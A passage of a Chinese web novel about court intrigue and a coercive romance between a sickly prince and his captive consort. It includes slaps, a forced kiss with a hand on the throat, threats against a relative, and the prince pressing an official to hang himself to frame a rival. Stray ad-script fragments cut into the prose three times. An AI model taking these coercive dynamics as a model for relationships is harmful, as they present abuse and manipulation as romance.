“娇气。”谢灼抿了抿唇,还是忍不住,再次问道,“所以你的毒到底是怎么回事?” “问这么多干什么?”白锦棠眯了眯眼睛,和谢灼的眼睛对上了,淡淡道,“你最好别打什么歪主意,就算哪一天我死了,你也逃不过我的手掌心。” 谢灼冷笑:“怎么,打算让我为你殉情?” 白锦棠挑眉,问:“不乐意?” 谢灼:“呵,我会在你杀我之前,先杀了你。” 白锦棠忽然笑了,收回了目光,又靠了回去,懒洋洋道:“这样就挺好的,你想杀我,我想折磨你,这才是你我之间最好的相处方式,所以你以后要是有机会,记得杀了我啊,可千万别留情,否则……” 剩下的话白锦棠没说,但谢灼知道。 否则就真的万劫不复了。 白锦棠累了,喝完药之后,眼皮子就开始打架,他揉了揉眉心,檀木佛珠上的墨绿流苏如流水般滑落在他的手腕间,和雪白的衣袖交叠在一起。 “没事就回去吧,你现在还杀不了我。”白锦棠闭着眼睛,像一只慵懒的猫咪,淡淡地说道。 谢灼没吭声,最后看了眼那檀木手串,转身离开了房间。 等身后的房门关上,谢灼看着院子里开的依旧绚烂多彩的海棠花,眉眼微敛,脑海里总是不自觉地浮现出白锦棠苍白的容颜,和那指尖的一点温热。 他感觉自己魔怔了。 白锦棠凭什么啊! 欺辱自己,利用自己,还整日说些是是而非的话撩拨自己! 他倒是舒坦了,开心了,那自己呢? 谢灼烦躁的厉害,对白锦棠恨得咬牙切齿,总觉得他越发的欠揍,心里不舒服的紧,他看着紧闭的房门,一不做二不休,又折了回去。 白锦棠已经睡下了,听见声响,还有些懵,睡眼惺忪,满脸迷茫地看着谢灼。 “白锦棠。” “嗯?” 谢灼也不惯着白锦棠,揪住白锦棠的手腕,就在那洁白如玉的皓腕上咬了一口,白锦棠吃痛,将手腕抽出,然毫不犹豫地赏了他一巴掌,谢灼这才舒坦了。 他看着牙印,又看了看白锦棠带着愠怒的眼睛,二话不说,扭头就走。 这次没停下,步伐轻快,满面春风,看的出来很开心没错。 徒留白锦棠在身后骂了一句:“你有病啊?!” 是有病,还是无可救药的那种。 ———— 经过上次那一遭,白锦棠就再没见过谢灼,黑市的事情逐渐告一段落,而李青山却还动不了,以至于白锦棠最近都在忙这个事情。 “禀告主子,那些被拐卖的孩子都被送回去了,没找到家的也被妥善安置了,至于黑市的那群人,全都被收押起来,只待主子定夺。” 白锦棠点头:“做的很好。” 秋风又将一封书信双手奉上。 是京都来的。 书信内容大概就是: 青州的事情闹大了,白锦棠作为天潢贵胄,大安的宁王,未尽到督察之责,让人在眼皮子底下搞小动作,竟然还牵扯到了国公府,皇帝大怒,派人来查这件事情。 这字里行间,全是对白锦棠的斥责,身为青州知府的李青山却闭口不提。 先不说白锦棠卧病在床多年,心有余而力不足,再说这青州虽是他封地,但权力都在李青山手中,受李青山掣肘,无论怎么样,这事都轮不到白锦棠头上才是。 可偏偏瞎眼的皇帝,还真就觉得是白锦棠的错。 活白锦棠做了,好处他李青山要了,责任就甩给他担着,白锦棠有苦难言。 秋风有些气愤:“主子,我们该怎么办?” 白锦棠面色不改,在他决定除掉黑市的时候,就料到有今天,所以也不是很担心,而是问:“朝廷那边有风声吗,说是会派谁来青州?” 秋风摇头:“暂时还没有消息。” 白锦棠微微点头:“那国公府可有消息?” 秋风道:“国公府那边听说,原本是派了人来接的,但是临到头又掉头回去了,说是另有安排,到现在也没个风声。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 白锦棠忽然就笑了:“这事先不用管了,我已经知道皇帝会派谁来查这件事情了,你只管做你的事情,剩下的等人到了青州再说。” 秋风点头:“是。” 这时,落雨从外面走了进来:“主子,李青山来了,现如今就在前厅。” 皇帝那边才罚了自己,这边一直装缩头乌龟的李青山就大摇大摆的来了,这很难不让人多想。 白锦棠敲了敲书案,像是想明白什么一样,道:“将人带去书房,我稍后就去。” 落雨:“是。” 白锦棠过去时,李青山已经悠哉悠哉地坐在那里喝茶了,他已经年过半百,如今穿着常服,肚子圆鼓鼓的顶着,脑袋靠在椅背上,摇来摇去,嘴里还哼着小曲,时不时地捋捋自己的小胡子。 等看见白锦棠来了,一双贼眉鼠眼的眼睛先是转了一圈,发现白锦棠苍白的脸色,确实还是那个病秧子,就越发有恃无恐,慢吞吞地起身,极为敷衍地行了一个礼。 “下官参加宁王殿下。” “不必多礼。”白锦棠十分温柔,他声音清凌凌的,随和又亲近。 李青山又暗戳戳地给白锦棠安上了一个软弱可欺的印象。 “谢王爷。”说着,又一屁股坐回了椅子上,压根没管白锦棠这个主人还没落座。 白锦棠坐到案前,询问:“李大人日理万机,怎么有空来本王这里?可是出了什么事情?” 李青山皮笑肉不笑:“王爷装糊涂可就不好玩了,黑市可是您带着人剿的,事情也传进了皇上耳朵里,按理说,这应该是大功一件,结果您不仅受了斥责,还被罚了俸禄,臣实在是心疼王爷……” 搁着挤兑他呢。 “所以?”白锦棠面色不改。 李青山又道:“听说王爷还受了伤?静王殿下也知道这事了,十分担心王爷的身体,这不是才传了信,让臣赶紧来看望王爷,还带了千年的老参给王爷补身子。王爷,黑市事小,伤了自家兄弟情分才是大啊。” 白锦棠把玩着腕间的檀木珠,像是没听懂一样,淡淡问:“李大人这说的,本王就有些不明白了,黑市的事情和静王有什么关系,怎么就伤了情分,又和李大人有什么有关系?” 李大人脸色瞬间就变了。 合着自己说了这么多,白锦棠还是油盐不进,一个劲的装糊涂! 他可不相信,白锦棠不知道黑市是他的手笔,他身后的人是静王! 李青山有些怒了,一脸蔑视道:“王爷,一直这样装糊涂就没意思了!” 白锦棠挑眉:“有吗?” 见白锦棠还是特立独行,李青山气的脸色潮红,直接从椅子上站了起来,一巴掌拍在白锦棠面前的青玉案上。 “白锦棠,今日静王能让你的功劳变成你的过错,奖赏变成惩罚,你信不信,明日就能让你悄无声息的从世界上消失!” 此话一出,便是撕破脸了。 李青山也不装了,大叫道:“你最好现在把那些账目全都交出来,让黑市的事情就此揭过!说不定静王那边还能大发慈悲饶你一回,倘若是不愿意……呵,宁王爷,如今大局已定,下官劝您还是不要意气用事的好。” 这青州是他李青山的地盘,白锦棠不过一个被贬的皇子,他的母亲死了,母族被灭的一干二净,如今留他一条命,已经是恩典了,还敢在自己面前耀武扬威! “好大的口气。”白锦棠冷笑。 如今还真是什么阿猫阿狗都敢在他面前蹦跶了。 18. 天煞孤绝 李青山吹胡子瞪眼:“还请王爷莫要不识抬举,和静王作对,您注定没什么好下场。” 白锦棠站起身来,冷声道:“那就让他来杀我,反正死在他手里这么多人,还缺本王一个!” “你你你……放肆,敢对静王不敬!”李青山胡须颤抖,看着面色不虞的白锦棠,心里忽然有点发虚。 白锦棠呵斥:“那你又是哪里来的胆子,敢对本王不敬!” 李青山一抖。 白锦棠眉眼冷峻,桃花眼凌厉如刀子,无声地凌迟着李青山的血肉,那脆弱且病态的脸上,是属于天潢贵胄的傲气和金贵,哪里是李青山这样狐假虎威的人能比拟的。 “李青山,本王懒得和你计较,你就真以为本王什么都不知道吗?”白锦棠居高临下地看着李青山,一脸的不屑,“以为三言两语就能恐吓我,让我把你们勾结的证据拿出来,好让黑市一事轻拿轻放。” “那你真是太小看本王了。” 李青山瑟缩了,额头上的冷汗止不住往下落,连带着说话都结巴了。 “你,你什么意思?” 白锦棠淡淡补充道:“也太小看国公府了。” 一提到国公府,李青山腿脚立马就软了,脸色煞白,没了刚刚的放肆和气定神闲:“你什么意思,我听不懂。” “刚刚还说本王装糊涂,李大人现如今怎么自己先糊涂起来了。”白锦棠看着李青山,一字一顿道,“朝廷派来的人,是国公府的大公子,当朝帝师凌若尘吧。” 凌若尘是凌灵的小叔,也是当朝帝师,便是白锦棠见到了也要规规矩矩唤一声老师的人。 凌若尘此人光风霁月,天下文人为其马首是瞻,乃是端方君子,就算不能交好,也是万万不能得罪的。 可如今他的侄女差点被人卖了,还是静王的手笔,也难怪静王慌神,先是拿皇帝施压自己,又是李青山上门威胁,试图在凌若尘到达青州之前,撇清自己的关系,将此事变成一个普普通通的拐卖人口的案子。 只可惜,白锦棠不吃这套。 “你害怕凌若尘,害怕他抓住你的把柄,所以就敢堂而皇之的来威胁本王,想要逼迫本王将你和黑市勾结的证据拿出来。”白锦棠朝着李青山步步逼近,“本王说的对吗?” 李青山不断后退,慌得不行:“我……我没有……” “没有?”白锦棠冷笑,“李青山,你是不是忘记了一件事情,本王再怎么样,也是大安的王爷!而你……终究不过是静王弃卒保帅的一颗废子罢了,也敢在本王面前耀武扬威!” “啪!”白锦棠抬手,狠狠地赏了李青山一个巴掌。 力气不小,把李青山的嘴角打破了,往下流着血,也震得他虎口发麻。 白锦棠说的没错,只要事情暴露,静王会毫不犹豫地把他推出去挡刀,自己就是他的一颗弃子。 如果被吓到了,按照他说的去办,那还好,可是如今白锦棠…… 他的结局只能被静王推出去当替死鬼! 白锦棠揉了揉自己被打麻的手掌,又慢悠悠地坐了回去,他看着李青山脸色变了又变,就知道他动摇了。 “清醒了吗?” 李青山哭着往白锦棠脚底下爬,一把鼻涕一把泪,哭的那叫一个伤心欲绝:“王爷啊,臣错了,您救救臣吧,臣真的不想死啊!臣也是鬼迷心窍了,黑市赚的那些钱,全在静王那里啊!和臣一点关系也没有!” 呵,赚钱的时候,一个比一个积极。 出事的时候,这锅甩得一个比一个溜。 白锦棠一脸冷漠,手掌撑着下巴,看着李青山。 “臣真的不想死啊!求王爷替我想想办法,只要王爷愿意帮我,我以后绝对改过自新,弃暗投明,为王爷鞍前马后,鞠躬尽瘁死而后已!” 可惜白锦棠不需要像墙头草一样的垃圾,不过他还是给李青山出了个注意,白锦棠笑着说:“其实解决问题的事情很简单。” 李青山眸子里燃起希望:“王爷?” 白锦棠:“今天晚上回去以后,你写下认罪的奏章,将你和静王勾结的事情一五一十地说清楚,盖上自己的私印。等凌若尘到了,自己选个好点的位置上吊,死的时候就把奏章放在身上,到时候事情闹大了,皇上也就知道,你是被静王逼迫的了。” 白锦棠这是要他死啊! 他想借着自己的手,重创静王! “李大人其实可以想想自己的家人,毕竟黑市的事情一旦暴露,等待你的就是满门抄斩。”白锦棠叹息,“而你要是按照本王说的去做了,或许你的家人还能活,这个交易,划算的紧。” 李青山看着浅笑盈盈地白锦棠,终于明白了一件事情: 眼前这个人,根本就不是什么人人可欺的病秧子,而是一条毒蛇!只要被他缠上,就注定死无葬身之地! 李青山颤巍巍:“你还是想杀我!” “从你踏入王府第一步,你就已经成了一枚弃子。”白锦棠道,“下了黄泉,千万要记住,非我杀你,是静王要杀你。” 李青山垂着头,只觉得有东西压的他快喘不过气来,他低声问:“你真能保证我全族平安吗?” “不能保证。”白锦棠轻笑,“但本王却知道,你要是不听本王的话,绝对满门抄斩。” 在听到白锦棠说完这句话后,李青山瞬间像是泄了气的皮球一样,刚刚还趾高气扬的人,满脸的颓废灰白,半死不活,犹如一条死鱼。 每个人都要为自己的所作所为付出代价。 “秋风,送客。” 旁边的秋风安安静静地将李青山请了出去。 李青山走后,白锦棠心情也跟着明媚起来,正好落雨说外面的阳光不错,白锦棠便想着出去散散步。 走了一会,落雨又说这几日凌灵在王府里闲着无聊,特意央求着谢灼搭了个秋千,如今正和翠云一起玩着呢。 白锦棠闲来无趣,便过去看看。 两个小姑娘玩一人一个秋千,正荡着玩,海棠树摇晃起来,抖落一地的海棠花。 凌灵大老远就看见白锦棠,朝着白锦棠开心的挥手:“锦哥哥,我们在这里!你也要来玩吗?这秋千可好玩了,嫂嫂帮忙做的!可厉害了!” 白锦棠笑着走过去,摇了摇头:“你们玩吧,我就过来看看,不用管我。” “好!”凌灵开心的应答。 凌灵是白锦棠妹妹,可以不拘礼数,翠云却觉得自己合该拜见一下白锦棠。 一来,白锦棠是王爷,虽然娶了谢灼,但始终是天潢贵胄,她不能如此无礼。 二来则是因为,白锦棠救过她的命,自己理应当面感谢才是。 翠云朝着白锦棠微微福身:“民女见过王爷,王爷千岁。” “不用多礼。”白锦棠温声说道,“您是王妃的姐姐,也是他唯一的家人,算是长辈,按理应该我亲自去拜见,才不算失礼。奈何近来事务缠身,这才推迟了,翠云姑娘莫要怪罪才是。” 这都是客套话,翠云自然不能当真。 “王爷日理万机,民女怎敢怪罪。”翠云没想到,白锦棠竟然这般好说话,如此平易近人,根本不似谢灼说的那样。 白锦棠:“翠云姑娘如果不嫌弃,可以唤我锦棠。” 生的好看,脾气也好,说话更是客客气气的,最主要是,对谢灼不错。 翠云觉得自家弟弟算是嫁对人了。 “王爷仁厚,民女尊之敬之。” 这就是拒绝了,白锦棠倒也没有强人所难,笑着转移话题:“翠云姑娘住在府上,可还习惯?” 白锦棠眉眼温柔,不知不觉中,就让翠云对他倍生好感和亲切。 翠云:“王府的人都十分周全,民女一切 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 都好。” 白锦棠:“那就好。” 音落,便是一阵沉默。 “青州的事情,很快就会了结,姐姐以后可有什么打算?”就在翠云紧张地想找话题时,白锦棠率先开口,询问道。 翠云勾了勾嘴角:“民女也没什么亲人了,如今就二牛这个弟弟,心里一直记挂着,不过现在好了,毕竟有王爷护着。等过些日子,他的伤好了,民女便和他告别,毕竟天下无不散筵席。” “可想好了去处?”白锦棠点头。 翠云有些羞赧,笑着说:“不瞒王爷,我打算去云州,那里还有人等着我。” 白锦棠立马就猜出了事什么人,勾唇:“心上人?” 翠云脸颊微微泛红,目光带着女儿家的羞怯:“嗯,一个等了我许久的心上人。” 白锦棠:“那真是可喜可贺。” 两个人说说笑笑,气氛十分的融洽,甚至还说起了翠云捡到谢灼的那段日子,就这样过了大半个时辰。 临到头的时候,翠云忽然又问道:“王爷,我能求你一件事情吗?” “你说。”看着翠云严肃的样子,白锦棠一愣。 翠云声音变得难过,却格外坚韧,她道:“其实捡到二牛的时候,我原是打算去投湖的,谁曾想投湖不成,阴差阳错地救个人回来。虽然开始是我照顾的他,但后来都是他在保护我,还将王府给他的钱,全都给我了,好让我离开这个是非之地,要不是去了云州,也遇不见我那心上人……” 翠云的心上人,白锦棠是有所耳闻的。 不过那是前世的事情了,听闻是个商业奇才。 白锦棠习惯地摩挲了佛珠,心里有了思量,那是个可用的人。 “说是我救了他,其实何尝不是他救了我,要不是他,我早就被我爹逼死了。”翠云一脸恳求,“如果有一日,二牛惹王爷不开心了,或者是王爷厌倦了,还请看在往日情分上,饶恕他,我会来接他离开的。” 翠云知道自己没什么立场,也没什么能力,何况对方还是当朝宁王,有些事情容不得她指手画脚,可她看的出来,谢灼是有意的,于是便只能用尽全力,请白锦棠能对谢灼好点。 白锦棠自然明白翠云的意思。 这让白锦棠忽然有些嫉妒谢灼,能有一个亲人时刻记挂着自己。 而他…… 确实所有人的眼中钉肉中刺。 母亲被人害死,母族被人诬陷,满门抄斩,父亲不待见,兄弟没有一个不盼着他死。 没想到,他还是个天煞孤绝的命格。 翠云试探叫了一声:“王爷?” 看着翠云殷殷期盼的眼神,白锦棠虽然不忍,却也不能答应。 因为谢灼是他手里最大的王牌,无论是用来威胁谢灼的人,让他们不敢轻举妄动,还是把谢灼当做礼物交给静王,换取半寸相思的解药,都是极好用的。 谢灼这么大的一块馅饼,他怎么可能会放弃呢?就算是死,他也会把谢灼骨子里最后的一点油水榨干。 他要登临九五之位,才算是真正握住了自己的命运。 白锦棠眼里的笑意已经凉了,嘴角的笑还是浅浅的,他没有回答翠云的问题,而是道:“天凉了,回去吧。” 翠云拳头紧紧握住,神色有些不自然。 所以,是拒绝了吗? “我明白了,谢谢王爷。” 翠云咬着牙,却没有出声询问为什么,袖子底下的手紧紧地握在一起,她下意识地听从白锦棠的命令,打算回去,结果才走两步,就听见白锦棠又说了一句: “府上最近要来人,如果没重要的事情,这几日就不要出来了,烦请翠云姑娘和王妃说一声。”话语还是温温柔柔的,但翠云却听出来不容置疑的味道。 这不是商量,是命令。 “是。”翠云应道。 19. 滔天怒火 翠云走后,白锦棠又陪着凌灵说了一会话,旁敲侧击凌若尘这些年的情况。 毕竟情报是情报,人情是人情,凌若尘到底在朝廷里扮演着什么角色,还是需从亲近的人嘴里说出来。 等凌灵说的差不多了,白锦棠也大概了解了。 还是一如既往的不近人情。 说了这么多,又到了用膳的时辰,凌灵也饿了,于是就放下秋千回去了。 白锦棠坐了上去,也没让落雨推,手抓着秋千的绳子,双脚着地,蹬着地,让秋千自己慢慢地晃悠着。 阳光透过斑驳的疏影,照在白锦棠的脸上,海棠枝丫摇曳,漂亮的花瓣就这样被晃悠了下来,不知不觉,便落了满襟。 落雨就坐白锦棠身边的那个秋千上,有些不开心。 白锦棠捏起一枚花瓣在阳光底下瞧,随口问道:“你这是什么表情?” 落雨叹息:“我害怕啊,主子。” 白锦棠挑眉:“哦?” 落雨苦恼:“咱们当年还在宫里时,帝师大人就像个冰块一样,偏偏主子你不怕,还变着法的找事,不知道吃了多少闷亏!你都不知道,每次帝师大人那眼神都恨不得杀了您,您为此没少挨罚!作为帮凶,我们的心狠狠地吊着,生怕殃及鱼池,主子,你懂那种朝不保夕的恐惧吗?” “年少轻狂,做点糊涂事,帝师大人宽宏大量,定然……不会与我计较的。”白锦棠艰难道。 落雨认真问道:“主子,你说这话的时候,心虚吗?” 白锦棠:“……” 白锦棠嘴硬:“我有什么好心虚的。” 落雨:“九岁那年,您因为赖床屡次迟到,屡次被罚,结果屡教不改,最后被赶到门口听课。您因为无聊,就把院子里花揪秃了,后来才知道,那是帝师大人培养的极品兰花,一株千金。” 这事真不怪他,那花叶长得细长,开出的花也就那点,放在一众花卉里,实在是不打眼,偏偏还单独劈出一块地种植。 他便以为是哪里来的杂草,随手就给揪了。 白锦棠:“……” 落雨又道:“还有十岁那年,您因为背不会书,被帝师大人留堂抄书,结果您跑去喝酒,帝师大人找到你时,您醉的不省人事,抓着帝师大人的袖子不放,还管帝师大人叫娘,让他给您唱曲,不唱还要哭。” 白锦棠:“……” 这真不是他故意的。 当时他听说学堂的那棵树下有凌若尘埋得佳酿,也不知道怎么,抄着抄着忽然想起来了,偷喝了几口,结果谁知道后劲这么大。 对于白锦棠当年的糗事,落雨那是如数家珍,完美的勾起了白锦棠为数不多的羞耻心,以及恨不得找个地缝钻进去的尴尬。 “最离谱的还是那年上元佳节……” “帝师大人和一位姑娘游玩赏灯,眼看着好事将成,结果您花了一百两银子,找了一个大肚子的孕妇,大庭广众之下啊,抓着帝师大人的袖子不松手,可劲的哭啊!” “那位姑娘当即便认定帝师大人是个抛妻弃子的薄幸人,怒骂帝师大人足足一刻钟,气势汹汹地跑了!” “……”白锦棠在心里谴责了自己一下。 这其实也不能全怪他,毕竟这样的佳节,其他学子都放假了,就他被凌若尘拘在学堂里抄书百遍,自己却跑出去和小娘子花前月下。 白锦棠道:“那我不也被抓了个正着吗?” 他到现在还记得凌若尘的脸色,都快绿了。 那女子也是个见好就收的,见目的达成,抹了抹眼泪,一脸惊讶:“不好意思啊,认错人了,我家那口没你长得俊。” 说完,就跑去找白锦棠领赏钱了。 白锦棠就在附近的茶摊上,笑的前胸贴后背,为此还多给了那人一百两银子,结果还没高兴一会,凌若尘就出现在了他的面前,宛若天神降世。 “好笑吗?”凌若尘问他。 白锦棠将手里的茶杯往凌若尘面前举了举,干巴巴道:“喝茶吗?上好的绿茶,解火。” 凌若尘当时就被气笑了。 然后那天晚上,白锦棠被他娘抄着鸡毛掸子打的上蹿下跳,真是难为娘亲了,堂堂皇后,追着他满宫殿跑,肚子里还揣了一个。 一想到自己娘亲,白锦棠嘴角上扬,随即又黯淡下去。 只可惜,他的娘亲没了。 他的妹妹,也没来得及到这个世界上。 落雨一脸严肃道:“主子,你知道吗?帝师大人将至而立之年,一直没娶亲。” 白锦棠一愣:“这还能怪到我头上?” 落雨:“不清楚,反正自那以后,京都的姑娘都知道帝师对怀孕的妻子弃之不顾,御史台参了半个月才消停。” 白锦棠:“……”这他还真不知道。 “主子,我知道你不喜欢帝师大人,但如今时过境迁,咱们还是收敛一点吧。”落雨一言难尽道。 白锦棠轻笑出声。 是了,毕竟再没人为他兜底了。 他再不是当年那个横行霸道,做事全凭心情的五皇子了。 “别担心,我知道的。”白锦棠如是道。 ———— 凌若尘是当朝帝师,是国公的小儿子,更是宁王的老师,他来青州,必定是不能怠慢的。 白锦棠亲力亲为,将事情一一安排下去,好不容易周全了,也累的不行,等沐浴完回到自己的房间,抬眼就和屋子里的谢灼打了个对眼。 白锦棠坐在床榻上,随手拿着巾帕擦拭不断滴水的长发,眉眼冷冷瞥过大马金刀坐在桌子旁边的人,微抬下巴:“你怎么在这里?” 谢灼没说话,而是默不作声地起身坐到白锦棠旁边,接过巾帕,为白锦棠擦头发。 “怎么不说话?”对于谢灼的伺候,白锦棠一直都很习惯,毕竟上一世的谢灼,是个再霸道不过的人,恨不得所有事情都自己亲力亲为,无时无刻不黏在白锦棠身上。 “不想说。”指尖的头发如绸缎一样顺滑,还带着这人身上独有的淡淡香气,因为才沐浴过,白锦棠只穿了单薄的亵衣,如今被发丝濡湿,漂亮的蝴蝶骨若隐若现。 谢灼连忙错开眼睛,有些不自在。 白锦棠微微侧眸:“嗯?” 谢灼这才开口:“你为什么这么讨厌我?” “何以见得?”白锦棠懒洋洋道。 谢灼沉吟片刻,试探道:“真的只是因为我在大婚之日想杀你吗?还是因为其他事情,我们以前见过对不对?可是为什么,只有你认识我,秋风落雨他们却不认识我?” 他特意观察过秋风落雨,确定他们以前不曾见过自己,若是连秋风落雨都不知道,那么白锦棠为什么对自己态度如此复杂。 想折磨自己,又不想自己死。 想保护自己,又不想自己好过。 “你说这些,又想知道什么?” 谢灼忽然扣住了白锦棠的肩膀,朝着白锦棠倾身,呼吸几乎洒在白锦棠莹润如玉的耳垂上:“当朝帝师凌若尘要来青州,你不让我出院子,是不想我见他,对吗?” “可是,你为什么不想他见我呢?” 白锦棠唇紧紧地绷着,手脚有些发凉。 “我自有我的道理。”白锦棠冷冷道,“夫人,有时候知道太多不是好事,因为——会死。” “王爷是说,堂 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 堂帝师想杀我?”谢灼笑了。 白锦棠冷哼:“你也配?” 谢灼点头:“也对,我不过一个王府侍妾,哪里值得王爷您的老师动手杀我呢?” 白锦棠蹙眉:“所以呢,你在这里说了这么多废话,又有什么目的呢?”谢灼是失忆了,脑子可不糊涂,铺垫了这么久,他倒是想知道,谢灼想做什么。 谢灼不答反问:“你不想要我死,对吗?” 起码不是现在,谢灼还有用处,于是白锦棠点头:“是。” 谢灼面色变了,声音冰冷:“你不想要我见凌若尘,是因为不想要我死,也并不想杀我。白锦棠,我也不问你我以前是个什么身份了,这样吧,不如你趁此机会放我走,天高路远,我绝不再出来碍你的眼了,怎么样?” 算盘还真是打的啪啪响啊,不问那是因为知道白锦棠不会说,想走,那是猜中自己的身份不简单,想要趁机摆脱他。 “不怎么样。”白锦棠一把推开谢灼,将半干的头发拢在手心,和谢灼对视,“你想都别想,没有我的允许,你甚至走不出王府。” 谢灼:“不试试怎么知道?” 白锦棠威胁道:“如果你不想你姐姐因为你丢掉性命的话。” “你不是滥杀无辜的人。”谢灼眯了眯眼睛。 这话就有些天真了。 白锦棠眉眼含笑:“非必要的时候。” 必要的时候,可就说不定了。 他本就不是好人,也懒得当君子,他是祸害,是小人。 “你真毒啊。”谢灼拳头握紧,眼前人就如同林中蛊惑人心的妖精,法力高强的精怪,让人爱不得,碰不得,还伤不得,只能任由他在自己面前为非作歹。 “在下不才,承蒙厚爱。” 白锦棠就喜欢谢灼想要弄死他,又弄不死他的样子。 纵使恨得咬牙切齿,还要极力压制自己的怒火,就仿佛他掌握了谢灼的所有,就如同前世谢灼对待他的那样,将他的全部都握在了手心里。 这样的滋味太美妙了。 “你永远都走不了,若非我愿意,你就只能永远留在我的身边,一生一世——” 眼前的唇一张一合着,像是娇艳欲滴的雨后海棠,裸露的脖颈如同上好的白玉,让他不由得想起,初见时脖颈上缠着的红绸,和那几天都没消下去的艳色。 谢灼忍不住了,忽然有个疯狂的想法。 “你逃不出我的手掌心……啊!” 白锦棠猛地被人扑倒床榻上,还不等他反应过来,谢灼已经朝着他压了过来,炽热的呼吸喷洒在脸颊上,柔软的唇被他撕咬着,紧缩的瞳孔里,得意还未散去,就被震惊笼罩。 “滚……”白锦棠挣扎,推搡着。 可谢灼已经红了眼,使出全力镇压,一手抓住白锦棠的手腕,按在头顶,另一只手则是扼住他的脖颈,逼迫着他回应自己,不让他逃离。 不是说要自己当侍妾吗? 不是说不让自己离开吗? 不是还威胁自己吗? 白锦棠,是你先招惹我的,既然如此,我为什么还要对你客客气气。 你自己撩拨的,就该自己受着。 他早就想这么做了。 唇齿交缠,宛如在暴雨中颠簸的船只。 不断地索取,将谢灼内心的暴虐和凶残彻底唤醒,如今的他,就是一头只顾着本能掠夺的野兽。 白锦棠,是他的。 漂亮的桃花眼里倒映着朦胧水雾,毫无章法的接吻里,全是压迫和窒息感,使得白锦棠眼前发黑。 此时白锦棠只有一个念头,那就是: 谢灼他疯了! 20. 不杀之恩 乌黑发丝流水一样铺在床榻上,本就单薄的衣襟散开,滑落盈润白皙的肩头,呼吸越来越困难,让白锦棠不由得眼前发黑。 粗糙的大手摩挲着手腕上的牙印,让白锦棠不可抑制地发出阵阵战栗,属于前世的记忆充斥在白锦棠的身心。 胸膛起伏着。 不知道是因为气的还是吻得。 谢灼喘息着,松开了白锦棠的唇,低头抵着他的额头,同他鼻息交缠。 “你凭什么这样对我?”谢灼声音沙哑,眼里还带着血色,是一眼望不到底的阴鸷和疯狂,死死地禁锢着白锦棠的手脚,“你不能这样对我,因为……” 我好像有点喜欢你…… 可白锦棠这样的人是有多狠,喜欢他又会落得什么下场,他是知道的,他不敢赌。 这世间,最不能信得就是人心。 白锦棠一脸疲惫,甚至堪称厌倦,声音比之前所有时候都要绝情冷漠:“因为什么?”他侧头,避开谢灼下意识的亲近,嗤笑出声,“怎么,我不过是给了你几分好脸色,你就被感动的找不到北了?” “我没有。”谢灼狼狈地错开白锦棠的目光。 “是吗?那你做什么在本王面前摆出这副被辜负的样子?深闺怨妇一样控诉,又是在做什么?”白锦棠残忍地撕破谢灼所有遮羞布,站在最高点,居高临下地瞧着狼狈不堪的谢灼,一句比一句残忍,“唤你一声夫人,你便真以为自己是王府主人了?” “你真是……好天真啊。” 白锦棠像是听见什么笑话一样,笑的眼泪都快流出来了。 “天真到愚蠢。” 谢灼感觉自己的心拨凉拨凉的,下意识堵住他的唇舌,不让他说话,也不想知道自己这些日子的模样有多让人厌恶,更不愿意这些话是从白锦棠嘴里说出来。 还好,幸好。 没有特别喜欢。 “你到底怎样才肯放过我?”像是妥协了,谢灼松开了禁锢白锦棠的手,从床榻上起身。 白锦棠顺势起身,神色冷淡,慢悠悠地滑落肩头的衣服拉了上去,整理好自己的衣襟,甚至连眼神都没变过。 “没有那一日。”白锦棠道。 这辈子,这一生。 谢灼都逃不出他的手掌心。 上辈子,谢灼囚他。 这辈子,换他来。 有来有往,才算公平。 谢灼默不作声地从袖袋里掏出一段红绸,迎着白锦棠略微不解的目光,把红绸缠到了自己的脖颈上,就如同新婚之夜他缠在白锦棠脖颈上的那样,只不过这次,他将另一头塞进了白锦棠的手心里。 “你不是怪我当初想杀你吗?来,我让你还回来,你勒我。”谢灼眼圈发红,白锦棠握不紧红绸,他的手就包裹着带着白锦棠的手,和他一起用力,勒紧自己的脖颈。 就像是赌气一样,两个人的目光在空气中胶着、拉扯、碰撞,一个疯狂中带着暴虐,一个冰冷中带着怒火,谁都不肯认输,他们无声博弈着,谁也不肯退后一步,也不肯先松口! 白锦棠额头青筋暴起,此情此景,本该是剑拔弩张的,可他的嘴角竟然缓缓上扬,勾起一抹嗜血邪气的笑容,扭曲诡谲,触目惊心! “你真是好样的……”白锦棠一字一句的说道。 不等谢灼反应,沉寂在血脉里的内力忽然迸发,红色的喜绸在他们之间炸开,破碎,那被勒的通红的谢灼,猛地喘了一口气,大口呼吸起来。 谢灼:“你……” 下一秒,谢灼的脸被人狠狠地扇了一巴掌,头被打的偏了过去,脸瞬间就肿胀起来。 谢灼被打懵了,茫然地眨了眨眼。 白锦棠脸上是再也压抑不住的怒火,他站起身来,捏着他的下巴,逼着谢灼和自己对视,冷笑道:“你想死是吗?!” 谢灼:“我……” 只是想要你解气…… 白锦棠手下不断用力,血色的眼眸里带着不容置疑:“你听着,你要是敢跑,我就打断你的腿!便是你的尸体化成灰了,也离不开我这宁王府。” 说完,白锦棠反手就把谢灼甩开了,谢灼身形不稳,直接趴下了。 “我没想死。”谢灼捂着脸颊,低着头闷声道,像个委屈的小媳妇。 白锦棠:“呵。” “我真没想死,单纯就是想要你出个气。”谢灼愁眉苦脸道,“谁知道你反应这么大?” “那你可真是聪明啊。”白锦棠被气笑了,“可真是太聪明了。” 谢灼理智回归,觉得自己还是悠着点好,毕竟身家性命都在人家手心里握着呢,也不知道刚刚哪里来的勇气,不仅强吻,还大言不惭地顶撞。 大概是自己前几次咬白锦棠,白锦棠都惯着自己,这才让自己胆大包天起来。 “别生气了,我都是开玩笑的。”谢灼觉得自己应该服软,于是他扯了扯白锦棠的衣袖,摇了摇。 他还没见过白锦棠发这么大的脾气。 白锦棠直接把自己的袖子拽出来了,闭眼不看谢灼,显然不吃这套,厉声呵斥:“滚回去,没有本王的命令,若是再敢踏出清河院半步,我先剁了你的手脚。” “王爷?我错了。”谢灼大丈夫能屈能伸,又抓上了白锦棠的袖子。 白锦棠言简意赅:“滚。” “……”谢灼见白锦棠依旧不为所动,有些急了,直接抱住白锦棠的身子,将人往床上放,白锦棠皱眉挣扎。 